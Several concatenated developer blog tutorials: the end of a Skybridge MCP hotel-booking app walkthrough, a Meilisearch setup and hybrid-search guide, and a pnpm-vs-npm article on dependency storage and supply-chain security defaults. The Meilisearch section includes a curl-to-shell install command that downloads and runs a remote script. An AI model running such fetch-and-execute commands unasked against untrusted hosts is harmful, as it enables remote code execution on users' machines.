    location: z.string().describe("The city to search in")
  },
  view: {
    component: "hotel-results",
    description: "Displays a list of available hotels."
  }
}, async ({ location }) => {
  const hotels = [
    { id: "h1", name: "Grand Plaza", price: 200, rating: 4.5, location },
    { id: "h2", name: "Seaside Resort", price: 150, rating: 4.2, location },
  ];

  return {
    structuredContent: { hotels }, // Data passed to React
    content: [{ type: "text", text: `Found ${hotels.length} hotels in ${location}.` }],
    isError: false,
  };
});

export type AppType = typeof server;

We have just defined a tool contract. The view property tells the Skybridge runtime to render the hotel-results component when the model calls search-hotels

You can further refine the tool’s behavior with the annotations property:

server.registerTool({
  name: "search-hotels",
  annotations: {
    title: "Available Hotels",
  },
  // rest of config
});

Annotations help the AI host display readable titles in chat logs. Skybridge Beacon Audit Tool also checks this metadata as part of quality validation. For this demo, hotel data is hardcoded.

Next, build the React component that renders search results for the discovery view.

How do you enable end-to-end type safety in Skybridge?

Before we set up the discovery view, create a helpers.ts file.

This file will provide the view with the exact tool input and output types from the server contract.

This is the content of the file:

import { generateHelpers } from "skybridge/web";
import type { AppType } from "./server.js";

export const { useToolInfo, useCallTool } = generateHelpers<AppType>();

generateHelpers uses your McpServer TypeScript type to provide autocomplete and validation for tool names, inputs, and outputs in the views.

How do you build a React view in Skybridge?

The discovery view is the first interface the user sees after the model calls search-hotels tool.

Create a hotel.tsx file with the following code:

import { useState } from "react";
import { useLayout } from "skybridge/web";
import { useToolInfo } from "../helpers.js";
import Booking from "./booking.js";
import { Star, MapPin, Hotel, ArrowRight, Sparkles, Compass } from "lucide-react";

export default function HotelResults() {
  const { theme } = useLayout();
  const { output } = useToolInfo<"search-hotels">();
  const hotels = output?.hotels || [];
  const [selectedHotel, setSelectedHotel] = useState<{ id: string; name: string } | null>(null);

  if (selectedHotel) {
    return (
      <Booking
        initialHotelId={selectedHotel.id}
        initialHotelName={selectedHotel.name}
        onBack={() => setSelectedHotel(null)}
      />
    );
  }

  return (
    <div className={`app-shell font-sans ${theme === "dark" ? "dark" : ""}`}>
      <div className="mx-auto w-full max-w-5xl px-4 py-6 sm:px-6 sm:py-8">
        <section className="glass-panel overflow-hidden p-5 sm:p-7">
          <div className="flex flex-col gap-5 sm:flex-row sm:items-end sm:justify-between">
            <div className="space-y-2">
              <p className="pill bg-sky-100 text-sky-700 dark:bg-sky-950/60 dark:text-sky-300">
                <Sparkles className="h-3.5 w-3.5" /> Curated Results
              </p>
              <h2 className="font-mozilla text-3xl leading-tight text-deep dark:text-sky-100 sm:text-4xl">
                Stays near your destination
              </h2>
              <p className="max-w-2xl text-sm text-zinc-600 dark:text-zinc-300">
                We found {hotels.length} options with instant booking support and synchronized steps.
              </p>
            </div>
            <div className="step-chip w-fit">
              <Compass className="mr-1.5 h-3.5 w-3.5" />
              Swipe or browse cards
            </div>
          </div>
        </section>
      </div>

      <section className="mx-auto mt-5 grid w-full max-w-5xl grid-cols-1 gap-4 px-4 pb-8 sm:grid-cols-2 sm:px-6 lg:grid-cols-3">
        {hotels.map((hotel) => (
          <article key={hotel.id} className="hotel-card">
            <div className="flex items-start justify-between gap-3">
              <div className="space-y-1">
                <h3 className="text-lg font-bold leading-tight">{hotel.name}</h3>
                <div className="inline-flex items-center gap-1.5 text-[11px] font-semibold uppercase tracking-[0.08em] text-zinc-500">
                  <MapPin className="h-3.5 w-3.5" />
                  {hotel.location}
                </div>
              </div>
              <div className="pill border border-amber-200 bg-amber-50 text-amber-700 dark:border-amber-900 dark:bg-amber-950/40 dark:text-amber-300">
                <Star className="mr-1 h-3.5 w-3.5 fill-current" />
                {hotel.rating}
              </div>
            </div>

            <div className="mt-auto space-y-3">
              <div className="flex items-end justify-between">
                <div>
                  <p className="text-[11px] uppercase tracking-[0.08em] text-zinc-500">From</p>
                  <p className="text-3xl font-black text-deep dark:text-sky-100">${hotel.price}</p>
                </div>
                <p className="text-xs font-medium text-zinc-500">per night</p>
              </div>

              <button
                type="button"
                className="primary-action w-full"
                onClick={() => setSelectedHotel({ id: hotel.id, name: hotel.name })}
              >
                <Hotel className="h-4 w-4" />
                Start Booking
                <ArrowRight className="h-4 w-4" />
              </button>
            </div>
          </article>
        ))}
      </section>
    </div>
  );
}

This view reads output.hotels with useToolInfo, renders each hotel card, and transitions to the booking experience when the user clicks Start Booking.

At this stage, the app can search and display hotels. Next, we will add tools to collect booking details and finalize reservations.

How do you add more tools to a Skybridge app?

To make the app interactive, we will add a Book Now and confirm booking tools.

How do you register a book-hotel tool?

Update the server.ts file to register the book-hotel tool like so:

server.registerTool({
  name: "book-hotel",
  description: "Initiates the booking process for a selected hotel.",
  inputSchema: {
    hotelId: z.string().describe("The ID of the hotel to book."),
    hotelName: z.string().describe("The name of the hotel."),
  },
  view: {
    component: "booking",
    description: "Multi-step booking form."
  }
}, async ({ hotelId, hotelName }) => {
  return {
    structuredContent: { hotelId, hotelName },
    content: [{ type: "text", text: `Starting booking for ${hotelName}...` }],
    isError: false,
  };
});

The book-hotel tool defines the required schema and links to the booking view component.

It runs when the user starts the booking flow.

How do you register a confirm-booking tool?

To finalize a booking after form completion, we will add a confirm-booking tool for this.

Go ahead and add this to the server.ts file:

server.registerTool({
  name: "confirm-booking",
  description: "Finalize the hotel booking",
  inputSchema: {
    hotelId: z.string(),
    guestName: z.string(),
  },
}, async (details) => {
  const confirmationNumber = `BK-${Math.random().toString(36).substring(2, 9).toUpperCase()}`;
  return {
    structuredContent: { ...details, confirmationNumber },
    content: [{ type: "text", text: `Booking confirmed! #:${confirmationNumber}` }],
    isError: false,
  };
});

By omitting the view property, you create an execution tool. The AI can call it in the background after it gathers required arguments from view state or chat context.

How do you create the booking view in Skybridge?

Create booking.tsx file and add the following code to it:

import { useState } from "react";
import { useLayout } from "skybridge/web";
import { useToolInfo, useCallTool } from "../helpers.js";
import { Calendar, Users, BedDouble, Ticket, ArrowRight, Waves } from "lucide-react";

export default function Booking() {
  const { theme } = useLayout();
  const { input, output } = useToolInfo<"book-hotel">();
  const hotelName = output?.hotelName || input?.hotelName;

  const [state, setState] = useState({
    step: 0,
    checkIn: "",
    checkOut: "",
    llmStatus: "Dates pending",
  });

  const { callTool, isPending } = useCallTool<"confirm-booking">("confirm-booking");

  if (!hotelName) return null;

  const nextStep = () => setState(s => ({ ...s, step: s.step + 1 }));

  const progressSteps = ["Dates", "Guests", "Room", "Review"];

  return (
    <div className={`app-shell ${theme === "dark" ? "dark" : ""}`}>
      <div className="mx-auto w-full max-w-2xl px-4 py-6 sm:px-6 sm:py-8">
        <div className="glass-panel space-y-6 p-5 sm:p-7">
          <header className="space-y-3">
            <p className="pill bg-teal-100 text-teal-700 dark:bg-teal-900/50 dark:text-teal-200">
              <Waves className="h-3.5 w-3.5" /> Booking Flow
            </p>
            <h2 className="font-mozilla text-3xl leading-tight text-deep dark:text-sky-100">
              Complete your stay at {hotelName}
            </h2>
            <div className="flex flex-wrap gap-2">
              {progressSteps.map((label, idx) => (
                <span key={label} className={`step-chip ${idx === state.step ? "step-chip-active" : ""}`}>
                  {idx + 1}. {label}
                </span>
              ))}
            </div>
          </header>

          {state.step === 0 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Calendar className="w-5 h-5" />
                <span className="font-semibold">Select Dates</span>
              </div>
              {/* form fields */}
            </section>
          )}

          {state.step === 1 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Users className="w-5 h-5" />
                <span className="font-semibold">Guest Details</span>
              </div>
            </section>
          )}

          {state.step === 2 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <BedDouble className="w-5 h-5" />
                <span className="font-semibold">Select Room Type</span>
              </div>
            </section>
          )}

          {state.step === 3 && (
            <section className="space-y-4 rounded-2xl border border-sky-100 bg-white/70 p-4 dark:border-slate-700 dark:bg-slate-900/55">
              <div className="flex items-center gap-2 text-deep dark:text-sky-200">
                <Ticket className="w-5 h-5" />
                <span className="font-semibold">Review and Confirm</span>
              </div>
              <button
                className="primary-action"
                onClick={() => callTool({
                  hotelId: output?.hotelId || input?.hotelId || "",
                  hotelName,
                  checkIn: state.checkIn,
                  checkOut: state.checkOut,
                  adults: 2,
                  children: 0,
                  guestNames: ["Primary Guest"],
                  roomType: "Standard",
                })}
                disabled={isPending}
              >
                Confirm Booking <ArrowRight className="h-4 w-4" />
              </button>
            </section>
          )}
        </div>
      </div>

      <div
        className="hidden"
        data-llm={`Booking status: ${state.llmStatus}. User is at step ${state.step + 1} for ${hotelName}. Current data: ${JSON.stringify(state)}`}
      />
    </div>
  );
}

The hidden data-llm block keeps the model aware of current form progress and entered values, which helps it decide when to call confirm-booking

With both views and tools wired together, let’s go ahead and test it.

How do you test a Skybridge app?

I will first go ahead and test it out in the developer dashboard:

This is the result of my test in Claude Desktop:

To test it in Claude, do the following:

Start the development server
Open the development dashboard
Start the tunnel

Thereafter, copy the MCP URL and add it to the connectors in Claude Desktop

The final implementation is available in the hotel booking GitHub repository.

What are Skybridge’s limitations?

Skybridge simplifies MCP development, but a few constraints still matter:

React-Focused: Currently, the frontend view layer requires React
Node.js Environment: The local server component requires a Node.js runtime
Provider Support: While compatible with the MCP standard, some advanced host-specific UI capabilities may still be under development

Conclusion

Developing for the agentic web should not require duplicate integrations or deep protocol expertise. Skybridge gives you one path for building interactive, state-synchronized apps that work across major chatbot platforms. By centering development on shared tools and views, you can ship richer AI experiences with lower maintenance costs.

#mcp

Getting started with Meilisearch: A complete guide

Michiel Mulders — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

Editor’s note: This article was updated in July 2026 to reflect the latest Meilisearch features and APIs, including hybrid and semantic search, conversational search and RAG, AI-powered retrieval, revised setup and authentication workflows, updated JavaScript SDK usage, and current best practices.

Meilisearch is a superfast search engine that supports keyword, semantic, and hybrid search through a single API. In this tutorial, you’ll learn how to set up Meilisearch, index and search documents, customize ranking rules, and explore its AI-powered retrieval capabilities.

Meilisearch began as a fast, typo-tolerant, open-source search engine you ran from a single binary. It still is. But it has grown into a full retrieval engine: keyword, semantic, and hybrid search from one API, on the same Rust core.

That evolution matters now that search has become a core part of AI infrastructure, powering retrieval-augmented generation (RAG), copilots, and other AI applications. Rather than combining a traditional search engine, a vector database, and a separate RAG framework, Meilisearch brings these capabilities together through a single API. The feel hasn’t changed, though: one Cloud project (or a single binary), one API, and results in milliseconds.

In this tutorial, we’ll cover everything from setting up Meilisearch and indexing documents to customizing ranking rules and exploring newer capabilities like hybrid search, conversational search, and AI-powered retrieval.

What’s changed in Meilisearch?

Past	Present
Primarily a fast, typo-tolerant full-text search engine	Supports keyword, semantic, and hybrid search
Focused on traditional keyword search	Built-in embeddings and semantic retrieval
Search API only	Conversational search and RAG through the `/chats` endpoint
Basic search relevance tuning	Expanded ranking rules and customizable relevance pipeline
Separate tooling often needed for recommendations and AI retrieval	Built-in recommendations (`/similar`) and AI retrieval capabilities
Single binary or self-hosted deployment	Self-hosted or Meilisearch Cloud with the same API

How do you run Meilisearch?

The quickest way to get started is with Meilisearch Cloud, the managed version of Meilisearch. It provides a 14-day free trial, a web dashboard, and a search preview, so you can start building without managing any infrastructure. Create a project at cloud.meilisearch.com.

Once your project is ready, copy the project host URL and API key from the overview page. Authentication now uses a standard Authorization: Bearer header (the old X-Meili-API-Key header is no longer used). You can verify that your project is reachable by listing its indexes:

curl 'MEILISEARCH_URL/indexes' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY'

# => { "results": [], "total": 0, "offset": 0, "limit": 20 }

If the request succeeds, you’re ready to start indexing documents.

Prefer to run Meilisearch yourself? Since it’s fully open source, you can self-host it with a single command, and the API remains identical from this point onward.

# Install and launch (a master key is mandatory in production)
curl -L https://install.meilisearch.com | sh
./meilisearch --master-key="aSampleMasterKey"

By default, a self-hosted instance runs on localhost:7700. You can also install Meilisearch using Docker, Homebrew, or APT; see the installation guide for additional options. Your master key serves the same purpose as the Cloud API key used earlier.

How do you set up a Meilisearch project?

Once your Meilisearch instance is running, install the JavaScript client and initialize it with your project URL and API key:

npm install meilisearch

import { Meilisearch } from 'meilisearch'

const client = new Meilisearch({
  host: 'MEILISEARCH_URL',
  apiKey: 'MEILISEARCH_API_KEY'
})

If you’re updating code from an older Meilisearch project, note that the JavaScript client has changed slightly. The client is now a named export, and the class is Meilisearch (MeiliSearch still works as an alias). However, the older CommonJS syntax:

const MeiliSearch = require('meilisearch')

is no longer supported.

How do you create an index and add documents in Meilisearch?

In Meilisearch, an index is a collection of documents. Each index has a primary key, which uniquely identifies every document. If your data already contains an id field, Meilisearch detects and uses it automatically.

We’ll use a sample movies dataset, where each document is represented as plain JSON:

{
  "id": 287947,
  "title": "Shazam!",
  "overview": "A boy is given the ability to become an adult superhero...",
  "genres": ["Action", "Comedy", "Fantasy"],
  "release_date": "2019-03-23"
}

You can add the documents to an index like this:

import movies from './movies.json'

const task = await client.index('movies').addDocuments(movies)
console.log(task) // { taskUid: 0, status: 'enqueued', ... }

Indexing is asynchronous, so instead of returning a completed result, Meilisearch returns a task (called an updateId in older versions). You can monitor its progress using the returned taskUid:

await client.tasks.getTask(0)

// status moves enqueued -> processing -> succeeded

Calling client.index('movies') automatically creates the index the first time you write to it, so you rarely need to call createIndex() yourself. If you’re updating older code, note that listIndexes() has been renamed to getIndexes().

How do you search documents in Meilisearch?

Once your documents are indexed, you can search them using the search() method:

const results = await client.index('movies').search('botman')

/*
{
  hits: [
    {
      id: 29751,
      title: 'Batman Unmasked: ...'
    },
    ...
  ],
  query: 'botman',
  processingTimeMs: 12,
  limit: 20,
  offset: 0,
  estimatedTotalHits: 66
}
*/

Even though the query contains a typo, botman still returns results for Batman because typo tolerance is enabled by default. In this example, the search also completes in just 12 ms without any additional tuning.

The response includes several useful fields you’ll use frequently:

hits: The matching documents
estimatedTotalHits: An approximate count of matching documents, replacing the older nbHits field
processingTimeMs: The time taken to process the search request
limit and offset: Values used for pagination

How do you update documents in Meilisearch?

Updating documents works much like adding them. If you send a document with an existing primary key, Meilisearch updates only the fields you provide, leaving the remaining fields unchanged.

await client.index('movies').updateDocuments([
  {
    id: 287947,
    overview: 'Corrected synopsis text.'
  }
])

Like indexing, updating documents is an asynchronous operation, so the request returns a task that you can track using its taskUid.

How do Meilisearch ranking rules work?

Ranking rules determine the order in which Meilisearch returns search results. You can reorder the built-in rules, remove them, or define custom ranking rules for each index to better match your application’s search experience.

The current default ranking rules are:

[
  "words",
  "typo",
  "proximity",
  "attributeRank",
  "sort",
  "wordPosition",
  "exactness"
]

If you’re updating an older project, note that the defaults have changed since 2021. The sort rule was added, attribute was split into attributeRank and wordPosition, and the overall order was updated.

You can reorder the rules like any other Meilisearch setting:

await client.index('movies').updateRankingRules([
  'words',
  'typo',
  'proximity',
  'attributeRank',
  'sort',
  'wordPosition',
  'exactness'
])

For example, moving exactness higher in the list prioritizes precise matches, while moving it lower favors broader recall. Because the rules are evaluated in order, even small changes to their sequence can noticeably affect the relevance of your search results. See the relevancy documentation for more details on each ranking rule.

How does hybrid and semantic search work in Meilisearch?

This is one of the biggest additions since 2021. In addition to traditional keyword search, Meilisearch now supports semantic search using embeddings and can combine both approaches in a single query.

To enable semantic search, configure an embedder for your index. Meilisearch generates and caches embeddings for your documents automatically, with support for providers including OpenAI, Cohere, Mistral, Gemini, Voyage, Bedrock, Hugging Face, Ollama, or any compatible REST API.

curl -X PATCH 'MEILISEARCH_URL/indexes/movies/settings/embedders' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "movies-openai": {
      "source": "openAi",
      "model": "text-embedding-3-small",
      "apiKey": "OPEN_AI_API_KEY",
      "documentTemplate": "A movie titled {{doc.title}}: {{doc.overview}}"
    }
  }'

Once the embedder is configured, you can perform a hybrid search. The hybrid option’s semanticRatio parameter controls the balance between keyword matching (0) and semantic search (1):

await client.index('movies').search('space adventure with a robot', {
  hybrid: {
    embedder: 'movies-openai',
    semanticRatio: 0.5
  }
})

With a hybrid search, Meilisearch can return relevant results even when the query terms don’t appear exactly in your documents, while still preserving the precision of keyword matching.

How do you build conversational search and RAG with Meilisearch?

Meilisearch also includes built-in support for retrieval-augmented generation (RAG) through a single /chats endpoint. When a user asks a question in natural language, Meilisearch retrieves relevant documents from your indexes and passes them to the LLM you configure, which generates a response grounded in those documents with source citations. That means you don’t need to wire together a separate vector database or orchestration layer yourself.

The endpoint is OpenAI-compatible, so you can use the OpenAI SDK, the Vercel AI SDK, or any similar client by pointing it directly at your Meilisearch instance (streaming is required):

import OpenAI from 'openai'

const openai = new OpenAI({
  baseURL: 'MEILISEARCH_URL/chats/cloud',
  apiKey: 'MEILISEARCH_API_KEY'
})

const stream = await openai.chat.completions.create({
  model: 'PROVIDER_MODEL_UID',
  stream: true,
  messages: [
    {
      role: 'user',
      content: 'What movies are about artificial intelligence?'
    }
  ]
})

for await (const chunk of stream) {
  process.stdout.write(chunk.choices[0]?.delta?.content || '')
}

Beyond question answering, the same endpoint also supports multi-turn conversations, one-shot summaries, and retrieval-only workflows that you can integrate into your own applications. Since LLMs can still hallucinate, Meilisearch includes guardrails and system prompt controls to help keep responses grounded in your indexed data. See the conversational search documentation for more details.

How do you use Meilisearch for merchandising and personalization?

Search relevance isn’t always enough. In some cases, you may want to promote specific results for business reasons, such as featuring a product during a sale or surfacing a help article for a common support query.

Meilisearch’s dynamic search rules let you pin selected documents to fixed positions whenever a query or time-based condition matches, without changing the underlying organic ranking. It’s an experimental feature that you enable once before adding rules.

# Enable the feature (once per project)
curl -X PATCH 'MEILISEARCH_URL/experimental-features' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{ "dynamicSearchRules": true }'

# Pin a document to the top when a query contains "invoice"
curl -X PATCH 'MEILISEARCH_URL/dynamic-search-rules/invoice-help' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{
    "active": true,
    "conditions": [
      {
        "scope": "query",
        "contains": "invoice"
      }
    ],
    "actions": [
      {
        "selector": {
          "indexUid": "support",
          "id": "billing-workspace-overview"
        },
        "action": {
          "type": "pin",
          "position": 0
        }
      }
    ]
  }'

The embedders used for hybrid search can also power recommendations. For example, the /similar endpoint returns documents that are semantically similar to a given item, making it useful for features such as “More like this” or “Customers also viewed.”

curl -X POST 'MEILISEARCH_URL/indexes/movies/similar' \
  -H 'Authorization: Bearer MEILISEARCH_API_KEY' \
  -H 'Content-Type: application/json' \
  --data-binary '{ "id": 192, "embedder": "movies-openai" }'

Meilisearch also supports personalization by reranking results in real time using a short preference prompt, allowing different users searching for the same term to see results ordered according to their individual preferences.

Where does Meilisearch fit in an AI stack?

One advantage of Meilisearch is that it brings together capabilities that often require multiple systems. Traditional search, vector search, hybrid search, recommendations through /similar, and conversational retrieval through /chats all run on the same Rust core, over the same indexes, and behind the same API.

That means the index powering your application’s search experience can also serve as the retrieval layer for AI applications, reducing the need to maintain separate search and vector infrastructures.

Conclusion

What made Meilisearch compelling in 2021 still holds true: you can get started in minutes, index your data, return results in milliseconds, and fine-tune relevance when you need to.

Since then, Meilisearch has expanded well beyond traditional full-text search. Today, it supports semantic and hybrid search, retrieval-augmented generation (RAG), recommendations, and merchandising, all through the same API and on the same engine. Whether you choose Meilisearch Cloud or self-host the open-source version, the development experience remains largely unchanged.

This tutorial covered the core features to help you get started, but there’s much more to explore. For more advanced capabilities like custom hybrid ranking, geosearch, filtering and faceting, and multilingual search, refer to the Meilisearch documentation.

pnpm vs. npm: Which package manager should you use?

Chinwike Maduabuchi — Invalid Date

See how LogRocket's Galileo AI surfaces the most severe issues for you

No signup required

Check it out

JavaScript package managers have evolved far beyond installing dependencies. Today, tools like npm, Yarn, and pnpm also manage workspaces, generate lockfiles, audit vulnerabilities, and shape how teams secure their software supply chain.

That last point matters more than ever. The npm ecosystem has become a high-value target for supply chain attacks, from compromised maintainer accounts to malicious lifecycle scripts that run during installation. Recent incidents such as the Axios supply chain attack and the Mini Shai Hulud malware campaign show how quickly a trusted dependency can become an attack path. OWASP now lists software supply chain failures as A03 in its 2025 Top 10, reflecting how central dependency risk has become to application security.

npm still defines many of the conventions the JavaScript ecosystem uses every day, including package.json, lockfiles, lifecycle scripts, and registry publishing. But some of npm’s long-standing design choices are showing their age, especially around node_modules bloat, dependency hoisting, install-time trust, and default security posture.

pnpm takes a different approach. Instead of copying dependency files into every project, it stores packages once in a content-addressable global store and links them into each project. That architecture reduces disk usage, speeds up repeated installs, and avoids some of the accidental dependency access that npm’s flattened node_modules layout can allow. More recently, pnpm has also become more opinionated about security by delaying newly published versions, blocking unapproved build scripts, and rejecting certain risky dependency sources by default.

In this article, we’ll look at where pnpm improves on npm, how its node_modules structure works, what its newer security defaults protect against, and what to consider before migrating an existing project.

pnpm vs. npm: The short version

pnpm is not just “npm, but faster.” Its main advantage is that performance, disk efficiency, and dependency strictness come from the same architectural choice: packages are stored once and linked into projects instead of being duplicated or broadly hoisted.

The table below summarizes the key differences:

Area	npm	pnpm
Dependency storage	Installs packages into each project’s `node_modules`	Stores package files once in a global content-addressable store and links them into projects
Disk usage	Can duplicate package files across projects	Reuses the same package version across projects
Dependency access	Hoisted dependencies can be imported even when they are not declared directly	Strict layout makes undeclared dependency imports easier to catch
Install scripts	Lifecycle scripts run by default unless restricted	Dependency build scripts require explicit approval through `allowBuilds`
Newly published versions	Can be delayed with `min-release-age`, but this is opt-in	Delays newly published versions by default in pnpm 11
Workspaces	Supported through the `workspaces` field	Supported through `pnpm-workspace.yaml`, with centralized security and version policy settings
SBOM support	Supports `npm sbom`	Supports `pnpm sbom`

The trade-off is compatibility. pnpm’s strictness can expose problems that npm’s hoisting hides. That is usually a good thing for long-term correctness, but it can make migration noisier for projects that rely on undeclared dependencies.

The install pipeline as an attack vector

The package install step is one of the most trusted parts of a JavaScript workflow. It is also one of the riskiest.

When you run npm install, dependency lifecycle scripts such as preinstall, install, and postinstall can execute automatically. Legitimate packages use these scripts to download binaries, compile native modules, or perform setup work that the package needs in order to function.

The problem is that install scripts are still third-party code running on your machine or in CI. If an attacker compromises a package, maintainer account, or release process, the install step becomes a direct execution path.

The Mini Shai Hulud campaign exploited that kind of trust boundary: malicious packages used installation behavior to steal sensitive credentials such as GitHub tokens, API keys, and cloud secrets. Once those credentials were captured, attackers could publish additional poisoned packages and expand the compromise.

Lockfiles help reduce the risk of silently picking up a malicious patch release. For example, if a project depends on axios with a semver range such as ^1.13.0, installing without a lockfile can resolve to a newer patch or minor version that satisfies the range. If that newer version is compromised during the window when it is available, your project may install it automatically.

That is why package manager behavior matters. Security is not only about running npm audit after installation; it is also about deciding which code is allowed to run during installation and how quickly newly published versions can enter your dependency tree. Understanding why npm dependencies are a bigger security risk than your code can help frame just how significant these decisions are.

Where pnpm’s security model differs

pnpm’s newer security defaults are designed around a simple idea: the package manager should not assume that every newly published package, transitive dependency, or install script is safe.

These defaults do not make a project immune to supply chain attacks. You still need lockfiles, code review, two-factor authentication for package publishing, dependency monitoring, and secret scanning. But pnpm shifts more protection into the default install path instead of requiring every team to opt into it manually.

Delaying newly published versions with `minimumReleaseAge`

pnpm 11 sets minimumReleaseAge to 1440 minutes by default, which means a newly published package version must be at least 24 hours old before pnpm will resolve it.

That delay helps with a common supply chain pattern: malicious versions are often discovered and removed shortly after publication. Waiting a day gives maintainers, registries, and security tools time to react before the version reaches your project.

You can increase the delay in pnpm-workspace.yaml:

minimumReleaseAge: 10080 # Wait one week before installing newly published versions

You can also exempt trusted packages, such as internal packages your organization publishes:

minimumReleaseAge: 1440
minimumReleaseAgeExclude:
  - '@your-org/*'

npm has added a similar setting, min-release-age, but it is not enabled by default. That difference matters: with pnpm, the safer behavior is the starting point; with npm, teams must choose to configure it.

Requiring approval for dependency build scripts

Install scripts are powerful because they run code during dependency installation. That power is also why they are dangerous.

pnpm’s allowBuilds setting lets teams approve which dependencies may run lifecycle build scripts. If a package tries to run a build script and is not allowlisted, pnpm reports it instead of silently trusting it.

A typical workflow looks like this:

pnpm install
pnpm approve-builds

The resulting policy lives in pnpm-workspace.yaml:

allowBuilds:
  '@swc/core': true
  esbuild: true
  sharp: true

This is useful because many legitimate packages need build scripts. Native dependencies such as sharp, esbuild, and @swc/core may require postinstall behavior. The goal is not to ban lifecycle scripts entirely; it is to make script execution explicit and reviewable.

npm has also introduced an approval workflow through npm approve-scripts, but in the current npm release this policy is advisory: install scripts still run by default, and npm reports which packages have not been reviewed.

Blocking exotic transitive dependencies

Another pnpm 11 default, blockExoticSubdeps, blocks transitive dependencies from resolving through sources such as Git repositories or tarball URLs. These sources can be legitimate, but they also bypass some of the normal expectations teams have around public registry packages, provenance, and review.

This does not mean you can never install from a Git URL. It means pnpm is stricter about allowing a package deep in your dependency tree to pull code from a less predictable source without you noticing.

Enforcing trust policy

pnpm 10.21 introduced trustPolicy, including a no-downgrade mode that can block a package version if its trust evidence is weaker than a version you previously installed.

For example, if a package previously shipped with provenance and a later version does not, pnpm can refuse the downgrade in trust. That kind of policy is especially relevant after incidents where compromised package versions lack the provenance signals present in earlier legitimate releases.

npm can display provenance information and supports signature verification through commands like npm audit signatures, but it does not currently enforce a comparable trust downgrade policy during normal installation.

Why pnpm uses less disk space

The other major difference between npm and pnpm is how they store packages on disk.

A JavaScript dependency rarely arrives alone. Install express, and you also install the packages express depends on, the packages those packages depend on, and so on. This transitive tree can grow quickly.

npm v3 improved disk usage by flattening node_modules and hoisting dependencies to the project root where possible. That reduced duplication, but it also introduced a long-standing side effect: packages can sometimes be imported by your application even if you never declared them in package.json.

For example, suppose express depends on debug. With npm’s flattened layout, debug may appear at the top level of node_modules. Your application can then accidentally do this:

import debug from 'debug';

The import works even though debug is not your direct dependency. Later, if express removes debug or changes how it depends on it, your application breaks. This is the “phantom dependency” or “ghost dependency” problem. Tools like Knip can help you find unused and ghost dependencies before they cause issues in production.

pnpm avoids this by using a stricter node_modules layout. Package files are stored once in a global content-addressable store. Projects then reference those files through hard links and symlinks.

A simplified layout looks like this:

~/.pnpm-store/
└── v11/
    ├── files/
    │   ├── 4a/1f9c8b...              ← react content, hash-addressed
    │   └── 7e/2d5a91...              ← react-dom content, hash-addressed
    └── index.db

project-a/
└── node_modules/
    ├── react -> .pnpm/[email protected]/node_modules/react
    ├── react-dom -> .pnpm/[email protected]/node_modules/react-dom
    └── .pnpm/
        ├── [email protected]/
        │   └── node_modules/
        │       └── react/            ← hard linked from the store
        └── [email protected]/
            └── node_modules/
                ├── react-dom/        ← hard linked from the store
                └── react -> ../../[email protected]/node_modules/react

A hard link points another file name at the same underlying data on disk, so the package contents are not duplicated. A symlink works more like a shortcut, pointing one path to another. pnpm combines both: hard links avoid repeated package contents, and symlinks preserve the dependency relationships Node needs for module resolution.

This is why pnpm can feel dramatically lighter on machines with many projects. If 20 projects all use the same version of React, pnpm stores that version once and links it into each project as needed.

One caveat: Finder, Windows Explorer, and some disk-usage tools can make pnpm projects look larger than they really are because they count each hard-linked file as if it were a separate copy. To measure actual disk usage, use tools that understand hard links or compare free disk space before and after installation.

The practical impact on `node_modules` bloat

Early in my career, I dealt with node_modules bloat before I understood what caused it. I was learning React on a 256GB laptop with limited internet access, so I copied entire node_modules folders between projects to avoid downloading the same packages again.

pnpm solves that problem at the package manager level. Whether you have one project or a hundred on the same machine, every package version is stored once and reused.

I saw this in a large pnpm monorepo with four apps. The root node_modules appeared to take about 1.87GB on disk. After deleting node_modules and reinstalling, the free storage on my machine barely changed because the package contents were already in pnpm’s store. The reinstall mostly recreated links.

When I converted the same project to an npm monorepo and installed dependencies, disk usage increased because npm wrote a separate copy of the dependencies into that project.

The important lesson is not just “pnpm is smaller.” It is that pnpm treats installed packages as reusable content, while npm generally treats each project install as its own dependency tree.

pnpm as a workspace security contract

pnpm’s workspace configuration has become a central place for dependency policy.

In pnpm 11, most non-registry settings belong in pnpm-workspace.yaml rather than being scattered across .npmrc files or a pnpm field in package.json. That makes settings such as minimumReleaseAge, allowBuilds, blockExoticSubdeps, and trustPolicy easier to review in one place.

For a monorepo, that matters. A root workspace file can act as a security contract for every package in the repo:

packages:
  - 'apps/*'
  - 'packages/*'

minimumReleaseAge: 1440
blockExoticSubdeps: true
trustPolicy: no-downgrade
allowBuilds:
  '@swc/core': true
  esbuild: true
  sharp: true

This file tells reviewers not only which packages exist in the workspace, but also which dependency behaviors are allowed.

pnpm’s catalogs push this further by centralizing dependency versions across a workspace. With strict catalog mode, pnpm add can fail when a developer tries to install a version outside the approved catalog. npm’s overrides can force versions after resolution, but catalogs are more proactive: they prevent unsupported versions from being added in the first place.

Built-in SBOM generation

A software bill of materials, or SBOM, is a machine-readable inventory of the packages in your application. Teams use SBOMs for audits, compliance, vulnerability scanning, and incident response.

Before package managers added native SBOM support, teams often reached for tools like Syft or CycloneDX plugins. npm introduced npm sbom first, and pnpm now includes pnpm sbom as well.

That means you can generate CycloneDX or SPDX output directly from your package manager:

pnpm sbom --format cyclonedx-json > sbom.json

This is useful during incident response. When a new vulnerability or compromise is disclosed, an SBOM helps you answer a basic but urgent question: did we ship the affected package, and in which release?

Native registry operations in pnpm

pnpm 11 also implements registry operations directly. Commands such as pnpm publish, pnpm login, pnpm logout, pnpm view, pnpm deprecate, and pnpm unpublish no longer depend on the npm CLI under the hood.

